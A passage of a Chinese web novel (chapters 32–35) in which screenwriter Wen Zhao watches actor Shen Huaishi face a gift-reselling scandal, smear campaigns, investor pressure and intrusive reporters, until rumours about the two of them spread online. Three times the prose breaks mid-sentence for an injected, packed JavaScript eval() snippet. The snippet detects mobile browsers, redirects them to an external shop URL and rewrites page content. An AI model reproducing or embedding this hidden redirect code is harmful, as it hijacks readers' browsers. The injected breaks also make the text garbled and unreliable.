闻朝立刻点进去。文章提到,发布售卖那些礼物的账号在新闻发酵后不到两小时迅速注销,平台方表示“接到相关投诉,正在核查”。 文章分析,这可能是沈淮时工作室紧急公关的结果,但注销账号是否意味着默认?为何不正面回应?粉丝要求开除涉事人员并报警处理的呼声越来越高。 节奏被带得更快了。工作室的任何动作,都被放在放大镜下过度解读。 闻朝感到一阵疲惫和无力。她关掉平板,起身走到窗边。 北京的深夜,依旧车水马龙,霓虹闪烁,但这繁华于她,却隔着一层冰冷的玻璃。 手机在沙发上震动起来,屏幕亮起,是副导演张礼的电话。 闻朝定了定神,走过去,接起:“张导。” 张礼的声音带着惯有的沉稳,但细听之下有一丝紧绷:“闻朝,看到新闻了吧?” “嗯,看到了。” “明天拍摄计划暂时不变,但现场可能会有媒体闻风而来,你有个心理准备。沈淮时那边……他的团队会处理,我们剧组正常工作,不要受干扰,尤其是你,”张导顿了顿,语气意味深长,“保持专业,做好分内事。其他的,不要多问,不要多表态,明白吗?” “我明白,张导。”闻朝低声应道。张导是在保护她,也是保护剧组。 “早点休息,明天片场见。” “嗯,明天见。” 32. 是的,她相信他。 挂了电话,房间重新归于沉寂。闻朝却再无睡意。她在窗边站了许久,直到玻璃映出的霓虹都显得模糊,才走回沙发坐下。 平板屏幕已经暗了,像一只沉默的眼,静静地注视着她。 她想起那条灰色围巾,柔软妥帖地躺在衣柜里。那不只是御寒的织物,更是一份不动声色的体恤。她很难想象,会有人将这样的心意标价出售。是急用钱?还是根本就没把这份馈赠当回事?无论哪一种,都让她心底发凉。 更让她不安的是时机。 愚人节,剧组聚餐刚刚结束,她和沈淮时之间那层窗户纸被戳破了一个微小却不可逆的洞。就在这个当口,爆出这种事……是巧合吗? 她重新点亮平板,翻到那条推送的评论区。短短时间内,舆论风向又有了新的变化。最初的愤怒和质疑中,开始夹杂一些更“理性”的声音,看似客观,实则句句指向他: 【抛开礼物不谈,沈淮时是不是太久没拿出有分量的作品了?上部影片扑得无声无息,现在就靠吃老本和营销维持热度吧?】 【粉丝总吹他低调敬业,但这些年除了刚出道那会儿的灵气,后面演的片子同质化不严重吗?演技到底有没有进步?】 【据说这次新戏《骤雪止》他又是演类似的深沉角色,审美疲劳了。团队是不是该考虑转型?】 【演员说到底靠作品说话,私德有亏还能用作品挽救,要是业务能力也停滞不前,那才是真危险。】 这些评论点赞数不低,被顶到了前排。 闻朝心脏一紧,这已经不只是在讨论“礼物事件”,而是在借题发挥,动摇沈淮时作为演员的立身之本:他的专业能力和事业前景。这才是更狠辣的一招。如果只是人品争议,尚有澄清余地;若连业务能力都被质疑,对正处于转型关键期的他来说,打击是致命的。 她猛地意识到,宋枝的猜测恐怕没错。这不像是一次偶然的内部失窃曝光,更像是一次精准打击。对手不仅想让他“凉”,还想让他“脏”。 她点开与桑华的聊天框,打了一行字:【明天片场,我们……】 删掉,又打:【你觉得会是谁……】 再次删掉,最终,她只发了一句:【早点休息,明天见。】 桑华很快回复了一个拥抱的表情:【嗯,你也别想太多。相信沈老师能处理好。】 相信。闻朝闭上眼。是的,她相信他。相信他不是外界揣测的那种人。但相信并不能驱散此刻笼罩的阴云。 她能做的,似乎只有等待,和保持距离。 这一夜注定难眠。闻朝几乎没怎么合眼,天色刚蒙蒙亮,她便起身洗漱。镜中的自己眼下有着淡淡的青黑。她用凉水拍了拍脸,试图让自己更清醒些。 到达片场时,比平时早了许多。场工们已经在忙碌地布置,但空气中弥漫着一种不同以往的紧绷感。 平日里早早就会到的娱乐记者和代拍,今天果然不见踪影,显然是被提前拦在了外面。但片场入口处,明显增加了安保人员,神色严肃地检查着每一个进出者的证件。 闻朝一路低头快步走进,径自走到自己的临时工位,放下背包,打开电脑,强迫自己将注意力集中在今天的拍摄场次和台词微调上。 桑华蹭过来,递给她一杯热豆浆。 闻朝接过豆浆,低声问:“张导那边怎么说?” “还能怎么说,照常拍。不过把原定今天上午沈老师的那场情绪比较外放的戏调后了,先拍配角的群戏。”桑华叹了口气,“这都什么事儿啊。我早上刷手机,看到又有新的‘爆料’,说沈老师早年拍某部戏的时候,因为对手戏演员NG次数多了,当场摔剧本走人……说得有鼻子有眼的。” “假的。”闻朝几乎是脱口而出,声音有些冷。 桑华看了她一眼,没再说什么,只是拍了拍她的肩膀:“我知道,你……反正,今天咱都小心点。” 陆陆续续,其他工作人员和演员也到了。大家打招呼的声音都比往日低了几分,眼神交流间多了些心照不宣的谨慎。没人公开谈论热搜,但那种压抑的安静本身,就是一种无声的议论。 闻朝一直留意着入口的方向。直到临近开拍时间,沈淮时才在经纪人和助理的陪同下出现。他穿着简单的黑色运动外套和长裤,戴着一顶棒球帽,帽檐压得很低,遮住了大半张脸。步伐很快,目不斜视,直接走向他的独立休息室。经纪人脸色凝重,紧跟在侧,低声快速地说着什么。助理则警惕地扫视着四周。 仅仅是一个照面,闻朝就能感觉到他身上散发出的低气压。不是愤怒,而是一种极致的冷和沉,像深海下凝冻的冰。 他没有朝任何人的方向看,包括她。 她的心微微一沉。 拍摄开始后,这种低压状态更加明显。沈淮时依然专业,台词、走位、情绪把握都准确到位,几乎是一条过。 导演喊“卡”后,他也立刻回到监视器前看回放,与导演低声交流。但他周身仿佛竖起了一道无形的屏障,隔绝了所有试图靠近或安慰的意图。 休息间隙,他独自一人站在远离人群的角落,背对着众人,望着远处的布景,背影孤寂。 整个上午,闻朝和他没有任何直接交流。甚至连眼神接触都几乎没有。偶尔视线不小心对上,他也很快移开,目光沉静无波,仿佛昨天午后那个接受她分享排骨的人,和今天这个身处风暴中心却沉默如磐石的男人,是截然不同的两个个体。 闻朝知道,他必须如此。在无数双眼睛的注视下,在媒体可能潜伏的镜头里,任何一点超出工作关系的互动,都可能被解读、放大,成为新的攻击素材。 他是在用绝对的疏离,保护他自己,或许,也是在保护她。 但这种被刻意划清的界限,还是让她心里泛起细密的酸涩。她想起昨夜自己那句未能发送的“你还好吗”,此刻更没有了问出口的立场和机会。 午休时,闻朝照例拿了盒饭,和桑华聚在一起吃着。 还有其他几个助理也在,低声说着什么,目光时不时瞟向沈淮时休息室紧闭的门。 “听说了吗?”一个道具组的小伙子凑过来,声音压得极低,“工作室好像查出来了,是之前被辞退的一个宣传助理干的,怀恨在心,故意选了这个时间点爆出来,还联系了好几个营销号……” “真的假的?那赶紧发声明澄清啊!” “没那么简单,据说那个人手里还有别的‘料’,真假不知道,但要是撕破脸全爆出来,更麻烦。现在工作室好像在谈判,想私下解决。” “私下解决?那粉丝能答应?现在网上都要报警了!” “所以僵着呢……” 闻朝默默听着,食不知味。真相或许远比表面看到的复杂。这潭水,比她想象的更深。 下午的拍摄是一场情绪爆发的重头戏。沈淮时的角色需要在雨中崩溃呐喊。人工雨已经布置好了,冰冷的水柱倾泻而下。 开拍前,沈淮时脱掉外套,只穿着单薄的戏服站在预定位置。他闭着眼,似乎在酝酿情绪。 导演喊了“开始”。 他猛地睁开眼,那一瞬间,闻朝仿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276111|198249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 佛看到他眼底深处翻涌的怒火和痛苦,那不仅仅是角色的痛苦,更是他的。 他冲进雨幕,嘶吼,质问,雨水从他脸上淌下。现场一片寂静,只有他破碎而有力的台词和哗哗的雨声。 闻朝站在监视器后面,看着屏幕里那个在冰冷雨水中质问的男人,心脏被紧紧揪住。她知道,优秀的演员需要调动真实的情感。那么此刻,他表达出来的,有多少是角色的,又有多少是他自己的? 一场戏拍完,沈淮时浑身湿透,站在原地微微喘息。工作人员立刻围上去递毛巾、热水。他接过,简单地擦了擦头发,脸上没什么表情,只是那双眼,比雨水更冷冽。 “过了。”陈序的声音带着赞许,也有一丝不易察觉的叹息。 沈淮时点了点头,没说什么,转身走向休息室。 闻朝看着他离去的背影,湿透的衬衫贴在背上,勾勒出清晰却略显紧绷的肩胛骨线条。 就在这时,片场外围传来一阵小小的骚动。隐约有争执声和相机快门声传来,是闻风而来的媒体试图突破封锁进来。 保安和工作人员迅速上前阻拦,场面一时有些混乱。 张礼沉下脸拿起喇叭喊:“无关人员清场!所有剧组人员,专注自己的工作!” 骚动被暂时压制下去,但那种被窥视、被围猎的感觉,却如同冰冷的藤蔓,悄悄缠绕上每个人的心头。 这一天的拍摄,在一种高度紧绷又竭力维持常态的氛围中艰难推进。 收工时,天色已近黄昏。闻朝收拾好东西,正要离开,张礼叫住了她,“闻朝,来一下。” 她跟着张礼走到一个相对僻静的角落。张礼搓了搓手,压低声音:“闻编,有件事……沈淮时那边的情况,你也看到了。制片方和投资方有些……顾虑。” 闻朝心下一紧:“什么顾虑?” “主要是担心舆论持续发酵,会影响影片的后期宣传和上映。”张礼表情有些为难,“虽然我们相信沈老师的专业和人品,但资本市场,总是更看重风险和收益。现在有几个备选的宣传方案在讨论,其中……有考虑适当降低沈老师个人在前期宣传中的比重,或者增加其他主演的曝光,来‘分散风险’。” 闻朝明白了。这是最现实的考量。一旦艺人形象受损,作品必然受到牵连。片方这是在准备“B计划”,未雨绸缪,甚至……可能是切割的前兆。 “陈导的意思呢?”她问。 “陈导当然是想保沈淮时,这部戏他是灵魂。但现在压力很大。”张礼叹了口气,“闻编,你是编剧,最懂角色和演员的契合度。万一……我是说万一,后续有更不好的情况,需要补拍或者调整戏份……可能还需要你在剧本上做些准备,你的剧本修改要跟上,压力可能会大一些。当然,这只是最坏的打算,目前还是以稳定拍摄为主。” “我明白了,张导。”她最终只是点了点头,声音平静,“需要的时候,我会配合。” “好。”张礼挥挥手,“早点回去休息吧。明天还有硬仗要打。” 走出片场,晚风带着凉意袭来,闻朝裹紧了外套。 余光瞥见不远处,沈淮时在助理和经纪人的陪同下,正快步走向一辆黑色商务车。他的步伐很快,背脊挺直,侧脸在昏暗的光线下显得格外冷硬。 经纪人杨露正在他身边低声快速说着什么,他微微颔首,没有多余的表情。车门关上,黑色商务车很快驶离,消失在夜色中。 她拿出手机,点开与沈淮时的聊天框,指尖在屏幕上悬停良久,最终,她退出了界面,关掉了手机。 33. 我的答案,会留在作品里 回到公寓,闻朝卸下了一天的紧绷,疲惫感如潮水般涌来。她将自己扔进沙发,盯着天花板,脑海中却不断闪现着沈淮时孤寂的背影。 手机在掌心震动,是宋枝发来的一连串消息。 【朝朝,收工了吗?今天怎么样?】 【网上又翻出新花样了,有人开始扒你们剧组的行程和路透,说沈淮时在片场‘黑脸’、‘耍大牌’,对工作人员呼来喝去……图都是截的,话都是编的,气死我了!】 【他工作室还没发正式声明吗?到底在等什么?】 闻朝苦笑,她没心情详细回复,只简短地回了句:【刚回酒店,累。网上乱,别看了。】 宋枝发来一个抱抱的表情,没再多问。 闻朝她坐到书桌前,打开了笔记本电脑。屏幕上还是《骤雪止》的剧本文档。她看着那些熟悉的台词和场景描述,忽然觉得有些恍惚。 这部凝聚了她无数心血的作品,随时可能被卷入不可预测的漩涡。她点开一个新建文档,手指在键盘上悬停。 张礼的话在耳边回响“万一需要补拍或者调整戏份……”这意味着,她可能需要预先构思一些备案,能尽量减少对影片整体伤害。她打了几行字,又烦躁地全部删掉。 就在这时,门铃突然响了。 闻朝一怔,这个时间点,谁会来?她走到门边,透过猫眼向外看去。 是桑华,手里还提着个小袋子。她打开门。桑华闪身进来,脸上带着一丝神秘和担忧。 “吓我一跳,这么晚过来?”闻朝问。 “刚好路过药店,给你带了点安神的茶,看你今天脸色不好。”桑华把袋子放在茶几上,自己在沙发上坐下,压低声音,“我刚听说个事,觉得得告诉你。” “什么事?” “跟沈老师那个前助理有关。”桑华凑近了些,“我有个朋友在别的剧组,跟一个搞媒体监测的熟。据说,那个前助理不止联系了营销号爆‘礼物’的事,好像还跟对家公司的人接触过。” 闻朝心一沉:“对家公司?哪家?” “具体不清楚,但指向挺明显的,就是最近有部题材类似的剧在筹备,一直把沈老师当假想敌的那家。”桑华撇撇嘴,“而且,听说那个前助理手里,可能真有沈老师一些……不太方便公开的私事。不是违法乱纪那种,但要是爆出来,对他形象肯定又是重击。所以工作室现在想私下和解,但对方开价很高,态度也很强硬。” “私事?”闻朝眉头紧锁。她知道沈淮时注重隐私,但也相信他行事有分寸。所谓的“私事”,大概率是些断章取义、容易引发误会的边角料,但在这种舆论环境下,足以掀起新的风浪。 “还有,”桑华声音更低,“我听场记说,今天下午,好像有投资方的人悄悄来片场了,跟陈导和张导在办公室谈了挺久。出来的时候,脸色都不太好看。” 闻朝指尖微微发凉。资方施压,比她预想的来得更快。 “朝朝,”桑华看着她,犹豫了一下,“我知道你跟沈老师……虽然你没明说,但我看得出来。现在这情况,你得保护好自己。剧组里人多眼杂,万一有人拿你们的关系做文章……” “我知道。”闻朝打断她,声音平静,“我们没什么,就是工作关系。我会注意的。” 桑华看着她,知道她主意已定,再多劝解也是徒劳,只能叹了口气,起身道:“茶记得泡了喝,好好睡一觉。明天……恐怕又是硬仗。” 送桑华到门口,道别时,桑华回头,暖黄的廊灯给她侧脸镀上一层柔和的光晕。她看着闻朝,眼里有不忍,也有鼓励,终究还是把在舌尖绕了绕的话说了出来,声音很轻:“朝朝,别太担心了,再大的雨,也总有停的时候。” 闻朝站在门内,光影在她脸上切割出明暗的界限。她点了点头,嘴角弯起一个极淡的、近乎虚无的弧度,声音轻得像叹息:“雨总会停,但淋湿的东西,并不会立刻就干的。” 门轻轻合拢,将里外隔成两个世界。闻朝背靠着冰凉的门板,久久未动。 手机屏幕再次亮起,这次是一条微博特别关注推送。 沈淮时工作室的官方账号更新了。 闻朝立刻点开。不是长篇大论的声明,而是一段仅有十五秒的短视频。 画面有些晃动,似乎是手机拍摄。背景是某个简洁的房间,沈淮时穿着简单的黑色毛衣,坐在一张单人沙发上,没有化妆,甚至能看出眼下的淡淡倦色。 他直视着镜头,目光平静而坦诚,少了平日镜头前的些许清冷距离感。他的声音透过扬声器传来,清晰、稳定,带着一点不易察觉的疲惫,但更多的是坚定, “关于近期发生的事件,给所有关心我的人带来了困扰和失望,我很抱歉。工作室已启动法律程序,并将全力配合调查。涉及个人隐私的不实信息,我们也会依法维权。” 他停顿了一下,眼神似乎更沉凝了些。“我是演员沈淮时。我的职责,是在每一个镜头前,尽我所能诠释好角色,讲述好故事。《骤雪止》正在拍摄中,我和全体剧组成员都在全力以赴。感谢剧组同仁们的信任与坚持,也感谢所有观众的等待。是非曲直,法律会给出答案。而我的答案,会留在作品里。” 视频到此结束。没有煽情,没有辩解,没有卖惨。只有直面问题的态度,对工作的专注承诺,以及对法律和作品的最终信赖。 这条微博瞬间引爆。 粉丝群情激动,纷纷转发支持: 【支持沈淮时用法律维权!】 【相信你,等你的作品!】 【专注作品,谣言止于智者!】 当然,质疑和嘲讽的声音依然存在: 【这就完了?私下和解谈崩了才出来说话吧?】 【避重就轻,对管理失职只字不提。】 【‘答案在作品里’?万一作品扑了呢?】 但无论如何,这简短直接的出面,像一剂强心针,暂时稳住了摇摇欲坠的局势。 至少,他站出来了,没有躲在团队背后。 闻朝反复看了很多遍,目光久久停留在屏幕上那张略显疲惫却异常坚定的面孔上。他眼底有红血丝,下颌线也比往日更清晰些,但这些细微的痕迹非但没有削弱他的气场,反而增添了一种真实的、经过淬炼的力度。 他说:“我的答案,会留在作品里”。 手机又震了一下,是桑华发来的消息:【看到了吗?沈老师发视频了!帅!刚!就是看着有点累……不过总算有动静了!】 闻朝扬了扬嘴角,心情轻快了很多,回复:【看到了。】 桑华:【感觉能稍微缓口气了。不过对家肯定不会罢休,等着看吧。你早点睡!】 闻朝回了个“好”字,但她没有着急休息,手指在屏幕上悬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276112|198249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 停片刻,最终还是点开了与沈淮时的聊天框。 她盯着屏幕看了几秒,然后,慢慢地,一个字一个字地输入:【视频看了。答案会在作品里,我信,我们都信。】 按下发送键。没有期待立刻回复,甚至不确定他此刻是否有空看私人消息。这更像是一种无声的呼应,是对他那句承诺的确认。 不知过了多久,手机屏幕亮了一下。 她瞥了一眼,心跳倏地漏了一拍。是沈淮时的回复,只有一句话:【嗯,我知道。感谢信任。】 短短的一句话,简洁至极,却稳稳落在了她方才发送过去的那句“我信”之上。 没有多余的解释,没有情感的流露,但在此刻,胜过千言万语。 它代表着接收,代表着确认,代表着他知道她在看,在听,在相信,也在等待。 翌日,片场。 气氛依旧微妙,但似乎有什么东西不同了。 那种沉甸甸的、令人窒息的压抑感,被一种更复杂的情绪所取代。 今天是一场重要的文戏,沈淮时饰演的角色需要在看似平静的对话中,传递出内心翻江倒海的情绪与艰难抉择。 开拍前,他独自站在布景中央,微微闭着眼。周围嘈杂声不断,他却仿佛自成一方世界。 闻朝站在监视器后,目光落在他身上。她能感觉到,他正在将昨夜视频里那份公开的坚定,内化成此刻需要的爆发力。 导演喊了“开始”。 镜头推进。 沈淮时抬起眼,看向对面的演员。那一瞬间,闻朝几乎忘记了呼吸。他的眼神变了,不再是沈淮时,而是彻底成为了顾嘉言。 他的眼中有深不见底的痛苦,有被背叛的痛楚,有对前路的迷茫。但更深处,有着独属于自己的坚定。 他的台词并不激昂,甚至称得上平淡,但每一个字、每一个表情、每一个动作都精准地撕开平静的假象,露出内里腐烂的血肉,展现出自己的挣扎与破茧。 全场鸦雀无声。 连负责打板的工作人员都下意识放轻了动作。 “卡!”导演陈序的声音响起,带着难以掩饰的激动和赞赏,“完美!这条过了!” 沈淮时缓缓吐出一口气,朝导演和对手演员点了点头,走向休息区。 经过闻朝身边时,他的脚步微不可察地顿了一下。 闻朝抬起头。他的目光与她相撞。这一次,他没有立刻移开。那双眼眸里还残留着戏中未散的情绪,但闻朝能在他眼眸,清晰地看到了一丝属于他本人的、极淡的温和询问,以及……一丝释然的疲惫。 他什么也没说,只是极轻微地对她颔首示意。 午休时,剧组的低气压明显消散了不少。大家吃饭时开始有了小声的交谈,话题也终于不再完全回避热搜,而是带着几分劫后余生的感慨和钦佩。 “沈老师今天状态绝了,那条戏看得我鸡皮疙瘩都起来了。” “那视频你看了吗?真刚。直接说答案在作品里,这底气” “听说昨晚工作室和那边谈判彻底崩了,对方要价太离谱,还威胁要爆别的。沈老师干脆不让谈了,直接发视频硬刚。” “就该这样!私下和解反而显得心虚,不如堂堂正正打官司,用作品说话。” 闻朝安静地听着,小口吃着饭盒里已然冷掉的饭菜,心里却一片温热的平静。 34. 先别上网 阳光透过高高的窗户,在地面上投下影子。 尽管网上的喧嚣并未完全平息,但片场内部依旧各司其职。 那场堪称完美的文戏,以及沈淮时昨夜那则简短有力的视频,给剧组所有的人带来了莫大的鼓舞。 工作人员走动时的脚步似乎都多了几分坚定,交谈声也多了几分自信。 闻朝正在和导演、摄影指导确认下一场戏的几个关键分镜细节,手机在口袋里震了一下。 她拿出来看了一眼,是桑华发来的消息:【朝朝,看群里!官博发新花絮了!】 闻朝暂时退出讨论,点开剧组的官方微博账号。 最新发布的是一条三十秒的拍摄花絮,标题是“#骤雪止片场实录#专注与热爱,是唯一的答案。” 视频的内容没有刻意煽情,只是日常记录的拼接:沈淮时在开拍前与导演低声沟通,反复调整走位;他独自在角落默戏,手指无意识地轻叩剧本;一场情绪激烈的戏份后,他走到监视器后回看,眉头微蹙,与导演讨论某个细节;甚至有一个镜头,是他顺手帮一位扛着沉重器材的场务扶了一把,对方感激地点头,他只是一摆手,示意不必在意。 没有台词,只有现场收音的环境音和一段舒缓的钢琴伴奏。但恰恰是这种不加修饰的日常,拼凑出一个演员在风暴中心,依然将全部重心沉入工作的专注侧影。 这条花絮的发布时间点卡得极其微妙,恰好是在沈淮时个人视频引发广泛讨论后的几个小时。 它不是辩解,而是回应。用真实的片场点滴,去印证他那句“我的答案,会留在作品里”。 评论区的风向果然又有了新的变化。路人好感度明显提升: 【抛开八卦不谈,这工作态度确实没得黑。】 【在这么乱的时候还能静下心拍戏,专业素养是有的。】 【这才是演员该有的样子吧?用作品说话比什么都强。】 【花絮里他帮场务那一下好自然,感觉不像装的。】 当然,仍有不和谐的声音,质疑这是“危机公关的摆拍”、“团队运作的洗白”,但相比之前一面倒的诋毁,这样的声音已经无法再轻易主导舆论场。 更多的粉丝和理智路人开始自发地强调“关注作品”、“等待法律结果”。 闻朝关掉微博,将手机放回口袋。她抬起头,目光下意识地寻找那个身影。 沈淮时正在不远处的休息区,手里拿着保温杯,不是那个粉红兔子杯,换了一个深蓝色的普通款式。 他微微仰头喝水,喉结滚动。副导演正拿着通告单站在他旁边,低声说着什么,他侧耳倾听,偶尔点头。 他似乎察觉到了她的视线,喝水的动作微微一顿,目光朝她这边扫了过来。 只是一瞬间,片刻的对视。 他很快收回目光,继续听副导演说话。 闻朝刚想回归关于分境细节的讨论,手机铃声响了起来。是一个陌生的本地座机号码。 她迟疑了一下,还是接起,“你好。” “请问是闻朝闻小姐吗?”对方是个声音干练的女声,语气礼貌却带着一种公式化的疏离。 “我是。您哪位?” “这里是《星闻周刊》采访部。关于沈淮时先生近期的一些传闻,我们想向您了解一下情况。据了解,您是《骤雪止》的编剧,与沈先生在工作上有不少交集……” 闻朝的心猛地一沉。媒体的触角,果然伸过来了。 她不等对方说完,便语气平静地打断:“抱歉,关于沈先生和剧组的具体工作,属于商业机密,不便对外透露。所有官方信息,请以沈淮时工作室及《骤雪止》剧组的正式通告为准。” 听到她毫不掩饰的冷意,陈序停止住了讨论,投来了询问的目光。 “闻小姐,我们只是想了解一下沈先生在片场的工作状态,以及您作为合作者对他的个人印象……”对方显然不打算轻易放弃。 “我的个人印象不具备任何参考价值,也不适合在公开场合讨论。”闻朝的声音冷了几分,带着不容置疑的坚决,“如果没有其他与剧本创作相关的问题,我这边还有工作要忙。再见。” 她果断挂断了电话,手心却微微沁出了一层薄汗。 见她表情不对,陈序终于开口询问:“是娱乐记者?” 他的话一针见血。 “是,《星闻周刊》。”她将手机屏幕朝下扣在桌上,声音恢复了平稳,但并未掩饰那通电话带来的不悦,“来打听沈淮时的事。” 陈序“啧”了一声,脸上没什么意外的表情,“意料之中。风口浪尖上,你是编剧,又是女性,在他们看来天然就有‘观察细致’、‘可能掌握更多感性细节’的标签。”他语气平静,像是在分析一个剧本里的人物动机,“他们不会只找你。制片、副导、甚至场务、化妆,只要能和沈淮时三个字沾上边的,都会被‘筛’一遍。” “我知道。”闻朝点点头,“我会注意。” 讨论继续进行,刚才的小插曲被她抛在脑后。 中场休息时,闻朝去茶水间接水,正好遇到也在里面的桑华。 桑华手里拿着手机,眉头紧锁,看到她进来,立刻凑过来,压低声音说:“朝朝,你刚才是不是接到记者电话了?” 闻朝有些意外,“你怎么知道?” “我有个朋友在另家媒体工作,刚偷偷跟我说,他们内部群里在传一份‘《骤雪止》剧组可接触人员初步名单’,你名字在上面,还标注了‘编剧,与沈淮时有较多工作交集,性格偏静,突破口未知’。”桑华的声音带着气愤和后怕,“他们动作也太快了!而且这措辞……什么叫‘突破口未知’?听着就不怀好意!” 闻朝的心又沉了沉,但面上不显,只是接过水杯,慢慢喝着温水,低声安抚道:“意料之中。没事,我知道怎么应对。” “你可千万小心!”桑华急道,“这些记者为了挖料什么都干得出来,可能会蹲守,可能会找剧组其他人套话,甚至可能从你以前的作品、社交账号扒东西……总之,别接陌生电话,别轻易跟不熟的人谈论剧组的事,尤其是和沈老师有关的!” “嗯,我会注意。”闻朝点点头,看着桑华真心实意为她着急的模样,心里微微一暖,伸手给了她一个拥抱,“别担心,我知道轻重。你也一样,保护好自己,别被卷进去。” 桑华脸上依旧带了些担忧的神色,但还是点了点头,“我知道,你也要保护好自己。” 离开茶水间,闻朝走向自己临时的办公角落。 手机在口袋里又震动了几下,她拿出来看了一眼,是几个未接来电提示,有陌生号码,也有被标记为“推销”或“骚扰”的号码。 她面无表情地清空了通知,然后点开微信,找到闺蜜群的对话框,简短地发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276113|198249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一条消息: 【可能有媒体会骚扰你们,关于我和剧组的任何事,一概说不知道,别搭理。】 宋枝几乎秒回:【明白!你自己千万当心!需要我做什么随时说!】 陆易安同样回了消息:【放心,我们什么都不知道。你也要照顾好自己,保护好自己。】 闻朝回了个“放心”的表情,便关掉了微信。 她坐在折叠椅上,看着面前摊开的剧本和笔记,上面的字迹有些潦草。 最近不知道怎么,心里总有股烦闷,有种“风雨欲来”的感觉。 她揉了揉眉心,强迫自己将注意力重新集中到下一场戏的台词打磨上。 傍晚时分,闻朝正准备收拾东西离开片场,手机再次响起。又是一个陌生号码,归属地显示是北京。她盯着屏幕看了几秒,按下了接听,但这次,她没有先开口。 “闻朝小姐吗?”对方是个男声,语气比上午那位女记者更直接,甚至带着几分不易察觉的压迫感,“我是《每日娱乐》的记者,想跟您核实几个问题。据我们了解,您和沈淮时先生除了工作合作,私下关系似乎也比较密切?有知情人士透露,你们曾在非工作场合单独会面,请问是否属实?这种关系是否影响了您在剧本创作中对沈先生角色的侧重?” 问题像淬了毒的箭,肮脏不堪。 闻朝的血液仿佛在瞬间冷了下去。她握紧手机,指甲深深陷进掌心,传来清晰的痛感。 她强迫自己呼吸平稳,声音冷得像浸了冰,“我不知道你在说什么,也没有义务回答这种毫无根据、充满恶意揣测的问题。我再说一次,所有与剧组和演员相关的事宜,请通过官方渠道了解。如果你继续骚扰,我会考虑采取法律手段。” “闻小姐,别激动。我们只是求证,毕竟观众有知情权……” “你们的‘知情权’不包括窥探和捏造他人的私人生活!毁坏他人的声誉!”闻朝的声音陡然提高了几分,带着压抑不住的怒火,但她立刻意识到这是在片场,周围还有未散去的工作人员。 她猛地压下情绪,声音恢复了冰冷的平静,“通话我已经录音。再见。” 她站在原地,深吸了几口气,试图平复翻腾的情绪。 一抬头,却看见不远处,沈淮时正和他的经纪人低声说着什么,两人表情都很严肃。 经纪人一边说,一边快速滑动着手机屏幕,似乎在给他看什么。沈淮时的眉头越皱越紧,脸色在棚内尚未完全关闭的灯光下,显得有些沉郁。 他也收到了类似的信息?还是说,那些“知情人士”的脏水,已经泼到了更公开的层面? 闻朝的心不断下沉。她意识到,这场风暴,远未到平息的时候。 而她和沈淮时之间那层刚刚被愚人节捅破的、脆弱的窗户纸,此刻正暴露在最凛冽的风口,随时可能被撕得粉碎。 她收回视线,不再看向那边,迅速收拾好自己的东西,拎起包,低着头,快步走向片场出口。 夜色已经笼罩下来,影视基地的路灯依次亮起,投下昏黄孤寂的光晕。 晚风吹在脸上,带着些许寒意。 闻朝拉高了衣领,将自己裹紧。手机在包里又震动了一下,她拿出来看,是桑华发来的,只有一句话:【朝朝,先别上网。】 闻朝盯着那五个字,指尖冰凉。她没有回复,也没有立刻去打开任何社交软件。 35. 我们之间,没有任何需要向外界解释…… 车子驶离影视基地,将那片依旧亮着零星灯火的喧嚣之地抛在身后,终是抵达那个小小的、仅属于她自己的私人港湾的公寓。 桑华那句“先别上网”像一根细刺,扎在心头,隐隐作痛,又带着不祥的预感。 最终,她还是拿出了手机。指尖在屏幕上方悬停片刻,还是点开了微博。 热搜榜上,“沈淮时”的名字依然挂在中段,后面跟着的词条却变了,#沈淮时编剧#、#《骤雪止》戏外#、#独家爆料#、#沈淮时私生活#…… 每一个词条都像一只不怀好意的眼睛。她犹豫着,终究还是点进了第一个。 词条里最热门的一条微博,来自一个粉丝量不小的娱乐营销号。文案写得极具煽动性: “顶流塌房新方向?专注作品人设下的秘密情愫?独家爆料:沈淮时与《骤雪止》编剧闻朝关系匪浅,多次被目击私下密会,剧组内互动亲密,疑因戏生情!是真情流露还是另有隐情?[吃瓜][吃瓜]” 下面附了几张照片。像素不算高,显然是偷拍,角度刁钻。 一张是她某次拿着剧本走向主演休息区的背影; 另一张是更早些时候,他们那次在私房菜馆聚餐后,一前一后走出胡同口的侧影,隔着好几米远,却被巧妙地截取成“单独”的模样。 评论区早就已经炸开了,粉丝、黑粉、路人混战一团: 【呵呵,难怪剧本把顾嘉言写得那么苏,原来是带着私心啊。】 【我说呢,之前就觉得这编剧给沈淮时的角色太好了点,原来有这层关系。】 【无良营销号死全家!凭几张模糊照片就造谣?哥哥和编剧老师正常同事关系看不懂?】 【笑死,之前立清高专注人设,转头就跟女编剧不清不楚?这剧本写得可真好啊!】 